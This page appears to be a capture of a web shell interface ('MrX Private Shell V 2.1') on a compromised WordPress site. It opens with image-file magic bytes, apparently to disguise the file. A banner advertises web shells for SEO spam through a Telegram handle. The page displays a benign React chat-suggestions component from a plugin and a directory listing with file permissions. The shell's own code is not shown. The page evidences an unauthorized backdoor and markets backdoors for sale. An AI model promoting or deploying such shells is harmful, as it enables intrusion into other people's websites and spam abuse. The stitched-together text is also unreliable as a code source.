����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
import { sparkle } from '@agent/icons';
import { useDomainActivities } from '@agent/state/domain-activities';
import { useSuggestionsStore } from '@agent/state/suggestions';
import { useState } from '@wordpress/element';
import { __ } from '@wordpress/i18n';
import {
chevronRight,
drafts,
help,
pencil,
published,
siteLogo,
styles,
swatch,
typography,
video,
} from '@wordpress/icons';
const icons = {
styles,
edit: pencil,
help,
video,
sparkle,
drafts,
published,
typography,
pencil,
siteLogo,
swatch,
};
export const ChatSuggestions = ({ suggestions }) => {
const { markAsClicked, isAvailable, getSuggestions } = useSuggestionsStore();
const { setDomainActivity } = useDomainActivities();
const [allSuggestions, setAllSuggestions] = useState(suggestions);
const handleSelect = (suggestion) => {
markAsClicked(suggestion);
if (suggestion.tracking) {
setDomainActivity({ ...suggestion.tracking, action: 'clicked' });
}
// External-link suggestions are plain links: the anchor opens the new tab.
// They don't trigger a workflow or post a message in the chat.
if (suggestion.type === 'external-link') return;
window.dispatchEvent(
new CustomEvent('extendify-agent:chat-submit', {
detail: { message: suggestion.message },
}),
);
};
const handleShowMore = () => {
const next = getSuggestions({ slice: 6, exclude: allSuggestions });
setAllSuggestions((prev) => [...prev, ...next]);
};
if (!suggestions) return null;
return (
<>
{allSuggestions.map((suggestion) => {
// Hide them if it's not available to the user
if (!isAvailable(suggestion)) return null;
return (
<SuggestionButton
key={suggestion.message}
suggestion={suggestion}
onSelect={handleSelect}
/>
);
})}
<ShowMoreButton handleShowMore={handleShowMore} />
</>
);
};
const SuggestionButton = ({ suggestion, onSelect }) => {
const icon = icons[suggestion?.icon] ?? icons.sparkle;
const className =
'group flex items-center justify-between rounded-sm bg-transparent px-1 py-1 text-left text-sm not-italic text-gray-900 transition-colors duration-100 hover:bg-gray-100 focus:outline-hidden focus:ring-2 focus:ring-design-main';
const content = (
<>
<div className="flex items-center gap-1.5 leading-none">
<span className="h-5 w-5 shrink-0 self-start fill-gray-700">
{icon}
</span>
<span className="leading-5">{suggestion.message}</span>
</div>
<span className="inline-block h-5 w-5 fill-gray-700 leading-none opacity-0 transition-opacity duration-100 group-hover:opacity-100 rtl:scale-x-[-1]">
{chevronRight}
</span>
</>
);
// External-link suggestions render as a real anchor that opens in a new tab.
if (suggestion.type === 'external-link') {
return (
<a
href={suggestion.url}
target="_blank"
rel="noopener noreferrer"
className={`${className} no-underline`}
onClick={() => onSelect(suggestion)}
>
{content}
</a>
);
}
return (
<button
type="button"
className={className}
onClick={() => onSelect(suggestion)}
>
{content}
</button>
);
};
const ShowMoreButton = ({ handleShowMore }) => {
const [hide, setHide] = useState(false);
const handleClick = () => {
handleShowMore();
setHide(true);
};
if (hide) return null;
return (
<button
type="button"
className="group flex w-full items-center gap-3 rounded-sm bg-transparent px-1 py-1 text-xs not-italic text-gray-800 transition-colors duration-100 hover:text-gray-900 focus:outline-hidden group"
onClick={handleClick}
>
<span className="h-px flex-1 bg-gray-200" />
<span className="group-hover:underline group-focus:ring-2 group-focus:ring-design-main">
{__('Show more', 'extendify-local')}
</span>
<span className="h-px flex-1 bg-gray-200" />
</button>
);
};
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| buttons | Folder | 0755 |
|
|
| layouts | Folder | 0755 |
|
|
| messages | Folder | 0755 |
|
|
| redirects | Folder | 0755 |
|
|
| ChatInput.jsx | File | 6.88 KB | 0644 |
|
| ChatMessages.jsx | File | 5.55 KB | 0644 |
|
| ChatSuggestions.jsx | File | 3.75 KB | 0644 |
|
| ChatTools.jsx | File | 1.35 KB | 0644 |
|
| DOMHighlighter.jsx | File | 8.25 KB | 0644 |
|
| ErrorMessage.jsx | File | 872 B | 0644 |
|
| GuidedTour.jsx | File | 14.88 KB | 0644 |
|
| ImageUploader.jsx | File | 6.03 KB | 0644 |
|
| OptionsPopover.jsx | File | 5.36 KB | 0644 |
|
| PageDocument.jsx | File | 1.06 KB | 0644 |
|
| Rating.jsx | File | 1.85 KB | 0644 |
|
| ScrollDownButton.jsx | File | 1.1 KB | 0644 |
|
| ScrollIntoViewOnce.jsx | File | 876 B | 0644 |
|